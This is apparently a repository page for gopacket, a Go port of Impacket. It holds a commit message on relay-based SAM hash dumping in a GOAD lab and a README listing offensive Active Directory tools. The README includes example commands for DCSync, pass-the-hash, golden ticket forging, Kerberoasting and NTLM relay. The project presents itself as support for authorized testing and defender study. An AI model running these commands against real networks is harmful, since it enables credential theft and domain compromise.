psycep abbdbc19be relay: retire two known-issue bogeys (samdump ACCESS_DENIED and winreg PIPE_NOT_AVAILABLE)
Two entries in KNOWN_ISSUES.md described the relay samdump/secretsdump
attacks as broken in ways they aren't, or fixable in ways we hadn't
tried. Verified both live against GOAD and retired them.

KNOWN_ISSUES #1 ("SMB Relay Registry Access Denied")

Reproduced by coercing WINTERFELL$ via PetitPotam to relay-samdump
against srv02: BaseRegOpenKey(SYSTEM\Select) returns 0x00000005 as
documented. Then reproduced the documented "workaround works" direction
with NORTH\administrator direct auth (dumps cleanly). Then the test
the entry never tried: relayed a user with admin on the target via
cmd /c net use \\relay\IPC$ /user:north\eddard.stark (Domain Admin) on
dc02, watched it flow through our relay to srv02. Result: dumped
Administrator, Guest, DefaultAccount, WDAGUtilityAccount, vagrant SAM
hashes cleanly.

So the relay transport does not drop privilege. The symptom the entry
captured was simply "relayed principal doesn't have admin on target",
which is the same precondition Impacket's ntlmrelayx samdump has, and
the same constraint a direct secretsdump has. Rewrote the entry to say
that plainly and flag the PetitPotam pitfall (DC$ machine accounts
aren't admin on member servers, so coercion-to-relay against member
servers with default inventory always hits this).

Small alignment-with-Impacket change while there: pkg/dcerpc/winreg/
remote.go and pkg/relay/secretsdump_attack.go now request
MAXIMUM_ALLOWED on the boot-key subkey opens instead of KEY_READ,
matching rrp.hBaseRegOpenKey's default in Impacket. KEY_READ demands
the full read bundle; MAXIMUM_ALLOWED returns a handle with whatever
the token actually has. Doesn't fix the ACCESS_DENIED on a no-admin
token, but reduces the surface for partial-access edge cases.

KNOWN_ISSUES #3 ("Intermittent PIPE_NOT_AVAILABLE on winreg")

Same failure mode the standalone secretsdump handles already: if
RemoteRegistry is stopped or disabled, opening the winreg named pipe
fails with STATUS_PIPE_NOT_AVAILABLE. Standalone tools/secretsdump
opens svcctl first, starts RemoteRegistry, runs the attack, then stops
the service (and restores SERVICE_DISABLED if it was disabled). The
relay path wasn't doing any of that.

Factored the "ensure started on entry / restore on exit" flow into
pkg/relay/remoteregistry.go and wired it into both relay samdump and
secretsdump attacks via TreeConnect("IPC$"), open svcctl, manage
RemoteRegistry, proceed with winreg. Failures to manage the service
are logged as warnings rather than returned as errors: if the relayed
token lacks SERVICE_* access, the attack still tries the winreg open
and often succeeds (if the service happens to be running already).

Verified live: set srv02 RemoteRegistry to Stopped+Manual, relayed
eddard.stark (Domain Admin via net use), watched:
  [*] Service RemoteRegistry is in stopped state
  [*] Starting service RemoteRegistry
  [*] Target system bootKey: 0x...
  [*] Dumping local SAM hashes
  Administrator:500:...:...:::  (etc)
  [*] Cleanup complete

Cleanup's attempt to stop the service after dumping gets a
STATUS_OBJECT_NAME_NOT_FOUND (pipe was closed by the post-attack
session teardown); that warning is cosmetic. The service's start-type
was preserved (Manual), only its current state stayed Running. Leaving
that as a minor follow-up rather than blocking the fix.

KNOWN_ISSUES.md renumbered to reflect the two retirements.
2026-04-23 23:23:53 -05:00
2026-04-17 14:20:41 -05:00
2026-04-17 14:20:41 -05:00
2026-04-17 14:20:41 -05:00
2026-04-17 14:20:41 -05:00
2026-04-17 14:20:41 -05:00
2026-04-17 14:20:41 -05:00
2026-04-17 14:20:41 -05:00

gopacket

A complete Go implementation of Impacket - 63 tools and 24 library packages for Windows network protocol interaction, Active Directory enumeration, and attack execution. Built as a native Go framework so you can compile once and run anywhere without Python dependencies.

Beta Release - Highly Experimental. gopacket is under active development. Core tools have been tested against Active Directory lab environments, but edge cases and protocol quirks are expected. If something isn't working, please test the same operation with Impacket side-by-side and include both outputs in your bug report. This helps us quickly identify whether it's a gopacket-specific issue or a shared protocol limitation.

Installation

git clone https://github.com/mandiant/gopacket
cd gopacket

# Default: Linux/macOS build + install to /usr/local/bin
./install.sh

# Run with no flags and it prompts you through the choices interactively.
# Or pick a target directly:
./install.sh --target portable   # static Linux binaries in ./dist/portable/
./install.sh --target windows    # Windows .exe cross-compiles in ./dist/windows/
./install.sh --target all        # build every target in one run

# Build without installing (native only)
./install.sh --build-only

# Or build with make
make build

The default (--target native) build needs Go 1.24.13+, GCC, and libpcap development headers (apt install build-essential libpcap-dev on Debian/Ubuntu/Kali, yum install gcc libpcap-devel on RHEL/CentOS, or brew install libpcap on macOS). The portable and windows targets only need the Go toolchain; sniff and split become stubs in those builds because they require libpcap. See Platform Support for the full matrix.

Platform Support

gopacket builds on Linux, macOS, and Windows. The set of working tools and available proxying paths depends on the build flags:

Build Tools available Proxying
Linux / macOS with cgo (default) All 63 proxychains (LD_PRELOAD) and/or -proxy SOCKS5
Linux with CGO_ENABLED=0 61 (sniff, split become stubs) -proxy only (proxychains needs the libc hook)
Windows (GOOS=windows CGO_ENABLED=0) 60 (sniff, split, sniffer stubs) -proxy only (no LD_PRELOAD on Windows)

sniff and split depend on libpcap via cgo; sniffer depends on Unix raw sockets. When a tool can't be built for the target, gopacket substitutes a stub that prints a clear message and exits 1, so go build ./... always succeeds and the install layout is consistent across platforms.

To uninstall:

./install.sh --uninstall

Proxy Support

gopacket supports two independent proxying paths. They can also be chained.

proxychains (LD_PRELOAD)

All gopacket tools work through proxychains. Go binaries normally bypass proxychains because Go's runtime handles DNS and networking internally, skipping the LD_PRELOAD hooks that proxychains relies on. gopacket works around this by linking against the system C library for network operations, allowing proxychains to intercept connections normally.

proxychains gopacket-secretsdump 'domain/user:password@target'
proxychains gopacket-smbclient -k -no-pass 'domain/user@dc.domain.local'

Internal SOCKS5 proxy (-proxy)

Every tool accepts -proxy to route outbound TCP through a SOCKS5 server without relying on LD_PRELOAD. Accepted schemes: socks5 and socks5h. When -proxy is unset, the ALL_PROXY / all_proxy environment variables are consulted as a fallback.

gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'domain/user:password@target'
ALL_PROXY=socks5h://127.0.0.1:1080 gopacket-smbclient 'domain/user:password@target'

UDP-dependent features are disabled under -proxy rather than silently leaking packets (SOCKS5 UDP ASSOCIATE is rarely supported by proxies, and bypassing the proxy for UDP would reveal the operator's real source IP). Affected features and their workarounds are documented in KNOWN_ISSUES.md.

Chaining: -proxy is compatible with proxychains. The TCP connection to the SOCKS5 proxy itself still goes through libc connect(), so proxychains → gopacket → -proxy → target works for nested routing scenarios.

Documentation

See the Library Developer Guide for full API documentation, code examples, and architecture overview for building custom tools on top of gopacket's 24 protocol packages.

Tools (63)

Remote Execution

Tool Description
psexec Remote command execution via SMB service creation
smbexec Remote command execution via SMB (stealthier than psexec)
wmiexec Remote command execution via WMI
dcomexec Remote command execution via DCOM
atexec Remote command execution via Task Scheduler

Credential Dumping & DPAPI

Tool Description
secretsdump SAM/LSA/NTDS.dit extraction and DCSync (remote + offline)
dpapi DPAPI backup key extraction
esentutl Offline ESE database parser (NTDS.dit)
registry-read Offline Windows registry hive parser

Kerberos

Tool Description
getTGT Request a TGT with password, hash, or AES key
getST Request a service ticket with S4U2Self/S4U2Proxy
GetUserSPNs Kerberoasting - find and request SPNs
GetNPUsers AS-REP roasting - find accounts without pre-auth
ticketer Golden/silver ticket forging
ticketConverter Convert between ccache and kirbi formats
describeTicket Parse and decrypt Kerberos tickets
getPac Request and parse PAC information
keylistattack KERB-KEY-LIST-REQ attack (RODC)
raiseChild Child-to-parent domain escalation via golden ticket

Active Directory Enumeration

Tool Description
GetADUsers Enumerate domain users via LDAP
GetADComputers Enumerate domain computers via LDAP
GetLAPSPassword Read LAPS passwords via LDAP
findDelegation Find delegation configurations
lookupsid SID brute-forcing via LSARPC
samrdump Enumerate users via SAMR
rpcdump Dump RPC endpoints via epmapper
rpcmap Scan for accessible RPC interfaces
net net user/group/computer enumeration via SAMR/LSARPC
netview Enumerate sessions, shares, and logged-on users
CheckLDAPStatus Check LDAP signing and channel binding requirements
DumpNTLMInfo Dump NTLM authentication info from SMB negotiation
getArch Detect remote OS architecture via RPC
machine_role Detect machine role (DC, server, workstation)

Active Directory Attacks

Tool Description
addcomputer Create/modify/delete machine accounts (SAMR + LDAP)
rbcd Resource-Based Constrained Delegation manipulation
dacledit Read/write DACLs on AD objects
owneredit Read/modify object ownership
samedit SAM account name spoofing (CVE-2021-42278/42287)
badsuccessor BadSuccessor / backup operator escalation
changepasswd Change/reset passwords via SAMR and LDAP

SMB Tools

Tool Description
smbclient Interactive SMB client (shares, ls, get, put, etc.)
smbserver SMB server for file sharing
attrib Query/modify file attributes via SMB
filetime Query/modify file timestamps via SMB
services Remote service management via SVCCTL
reg Remote registry operations via WINREG
Get-GPPPassword Extract Group Policy Preferences passwords from SYSVOL
karmaSMB Rogue SMB server for hash capture

NTLM Relay

Tool Description
ntlmrelayx Full NTLM relay framework with multi-protocol support

ntlmrelayx supports:

  • Capture servers: SMB, HTTP/HTTPS, WCF (ADWS), RAW, RPC, WinRM
  • Relay clients: SMB, LDAP/LDAPS, HTTP/HTTPS, MSSQL, WinRM, RPC
  • Attacks: secretsdump, smbexec, ldapdump, RBCD delegation, ACL abuse, shadow credentials, ADCS ESC8, addcomputer, DNS manipulation, and more
  • Infrastructure: SOCKS5 proxy with protocol-aware plugins, interactive console, REST API, multi-target round-robin, WPAD serving

SQL Server

Tool Description
mssqlclient Interactive MSSQL client with SQL/Windows/Kerberos auth
mssqlinstance MSSQL instance discovery via SQL Browser

WMI

Tool Description
wmiquery Interactive WMI query shell
wmipersist WMI event subscription persistence

Terminal Services

Tool Description
tstool Terminal Services session and process enumeration

Other Protocols

Tool Description
rdp_check RDP authentication check
mqtt_check MQTT authentication check
exchanger Exchange Web Services client

Utilities

Tool Description
ntfs-read Offline NTFS filesystem parser
ping / ping6 ICMP ping
sniff / sniffer Network packet capture
split Split large files

Authentication

All network tools support three authentication methods:

# Password
gopacket-secretsdump 'domain/user:password@target'

# NTLM hash (pass-the-hash)
gopacket-secretsdump -hashes ':nthash' 'domain/user@target'

# Kerberos (pass-the-ticket)
KRB5CCNAME=ticket.ccache gopacket-secretsdump -k -no-pass 'domain/user@target'

Common Flags

Flag Description
-hashes LMHASH:NTHASH NTLM hash authentication (LM hash can be empty)
-k Use Kerberos authentication
-no-pass Don't prompt for password (use with -k or -hashes)
-dc-ip IP IP address of the domain controller
-target-ip IP IP address of the target (when using hostname for Kerberos)
-port PORT Target port (defaults vary by tool)
-proxy URL Route outbound TCP through a SOCKS5 proxy (e.g. socks5h://127.0.0.1:1080). UDP features are disabled.
-debug Enable debug output

Quick Examples

# Dump domain hashes via DCSync
gopacket-secretsdump 'corp.local/admin:Password1@dc01.corp.local'

# Interactive SMB shell
gopacket-smbclient -hashes ':aabbccdd...' 'corp.local/admin@fileserver'

# Kerberoast
gopacket-getuserspns 'corp.local/user:pass@dc01.corp.local'

# Golden ticket
gopacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local admin

# NTLM relay with SOCKS proxy
sudo gopacket-ntlmrelayx -t smb://target -socks

# LDAP relay for RBCD
sudo gopacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access

# Route all outbound traffic through a SOCKS5 proxy
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'corp.local/admin:pass@dc01.corp.local'

Library

The pkg/ directory contains 24 reusable protocol packages that can be imported independently.

Package Description
smb SMB2/3 client with NTLM and Kerberos auth
ldap LDAP client with NTLM/Kerberos bind
dcerpc DCE/RPC client + 20 service implementations (DRSUAPI, SAMR, SVCCTL, LSARPC, WINREG, NETLOGON, DCOM, TSCH, EPMAPPER, etc.)
kerberos Kerberos client, ticket forging (golden/silver), S4U2Self/S4U2Proxy
ntlm NTLM authentication protocol
relay NTLM relay framework (servers, clients, attacks, SOCKS)
tds SQL Server TDS protocol
ese Extensible Storage Engine parser
registry Windows registry hive parser
ntfs NTFS filesystem parser
security Security descriptors, ACLs, SIDs
dpapi DPAPI structures
mqtt MQTT protocol client
session Target/credential parsing (domain/user:pass@host)
flags Unified CLI flag framework

Missing Features (vs Impacket)

gopacket aims for full Impacket parity. The following are not yet implemented:

Relay protocol clients:

  • IMAP relay client + attack (requires Exchange/IMAP server)
  • SMTP relay client (requires SMTP server)

Relay attack modules:

  • SCCM policies/DP attacks (requires SCCM infrastructure)

Standalone tools:

  • ifmap.py (DCOM interface mapping)
  • mimikatz.py (limited Mimikatz over RPC)
  • goldenPac.py (MS14-068 - obsolete on patched systems)
  • smbrelayx.py (superseded by ntlmrelayx)
  • kintercept.py (Kerberos interception)

These gaps are low priority - most require niche infrastructure to test or are obsoleted by newer techniques.

Known Limitations

These are protocol-level limitations shared with Impacket, not gopacket bugs:

  • SMB to LDAPS relay fails on patched DCs due to NTLM MIC validation (post-CVE-2019-1040). Use HTTP coercion instead.
  • WinRM relay blocked by EPA (Extended Protection for Authentication) on patched Server 2019+.
  • RPC relay attacks (tschexec, enum-local-admins) require PKT_INTEGRITY which is unavailable in relay sessions.
  • LDAP relay to port 389 fails on DCs requiring LDAP signing. Always relay to LDAPS (port 636).

See KNOWN_ISSUES.md for detailed information on each issue and workarounds.

Reporting Issues & Contributing

This is a beta release. Bugs are expected, and contributions are welcome.

Why we ask you to test with Impacket first

Because gopacket implements the same wire protocols as Impacket, a large fraction of "bugs" turn out to be environmental, not gopacket-specific - patched DCs, LDAP signing requirements, EPA, PKT_INTEGRITY, SMB signing, NTLM MIC validation post-CVE-2019-1040, missing SPNs, time skew, DNS quirks, firewall rules, and so on. Running the same operation with Impacket side by side removes the environment from the equation:

  • If Impacket fails the same way, the issue is almost always environmental and is likely already documented in KNOWN_ISSUES.md. No bug report needed.
  • If Impacket succeeds where gopacket fails, that's a real gopacket bug and exactly what we want to hear about.

This single triage step saves a lot of round-trips, so please don't skip it.

Filing a bug report

  1. Run the same operation with Impacket and note whether it succeeds or fails
  2. Re-run gopacket with -debug and capture the full output
  3. Anonymize anything sensitive before posting. GitHub issues are public. Strip or replace real hostnames, IP addresses, usernames, password hashes, Kerberos tickets, domain names, SIDs, and any output line that could be tied back to a real engagement. Replacing corp.internalexample.local and dc01.corp.internaldc01.example.local is fine - keep the structure of the data, just not the identifying values. If in doubt, redact it.
  4. Open a GitHub issue and include:
    • Both outputs (gopacket and Impacket), as text not screenshots, anonymized
    • The exact command line you ran (anonymized)
    • Target OS, AD functional level, and any relevant hardening (signing, EPA, channel binding, patch level)
    • gopacket version / commit hash

Feature requests

Open a GitHub issue describing the use case and the Impacket equivalent (if any). If the feature is on the "Missing Features" list above, mention which one - it helps us prioritize.

Pull requests

PRs are welcome. Before opening one:

  • Run go build ./..., go vet ./..., gofmt -l ., and go test ./... and make sure they all pass cleanly
  • Match the existing code style in the package you're touching
  • Keep changes focused - separate refactors from feature work
  • For non-trivial changes, open an issue first to discuss the approach

Why This Matters for Defenders

Threat actors are moving away from Python. Compiled Go and Rust tooling (Sliver, BRC4, Geacon, and bespoke loaders) is increasingly replacing Impacket in real-world intrusions. Most defensive tooling and detection logic was built around Impacket's Python-based network behavior, and that coverage is eroding as the attacker ecosystem shifts to compiled languages.

gopacket exists in part to help the security community get ahead of this shift. By providing an open-source, readable Go implementation of the same protocols and techniques, defenders and detection engineers can:

  • Study how Go-based tooling behaves on the wire rather than waiting to encounter it during an incident
  • Understand the protocol-level differences between Go and Python implementations that make existing signatures less effective
  • Run realistic purple team exercises using the same compiled, single-binary tooling that threat actors are adopting, rather than testing exclusively against Python scripts that behave differently at the network layer

The gap between attacker tooling and defender visibility is widest when new tooling stays private. Open-sourcing gopacket narrows that gap.

Notes

  • Kerberos authentication requires a valid ccache file (TGT or service ticket)
  • For Kerberos, use the FQDN hostname - not an IP address
  • If KRB5CCNAME is not set, tools will look for <username>.ccache in the current directory
  • All tools support both proxychains and an internal -proxy SOCKS5 flag (see Proxy Support)
  • This project is for authorized security testing and research purposes only

License

Released under the Apache License 2.0.

gopacket is a clean Go reimplementation of Impacket; see NOTICE for full third-party acknowledgments.

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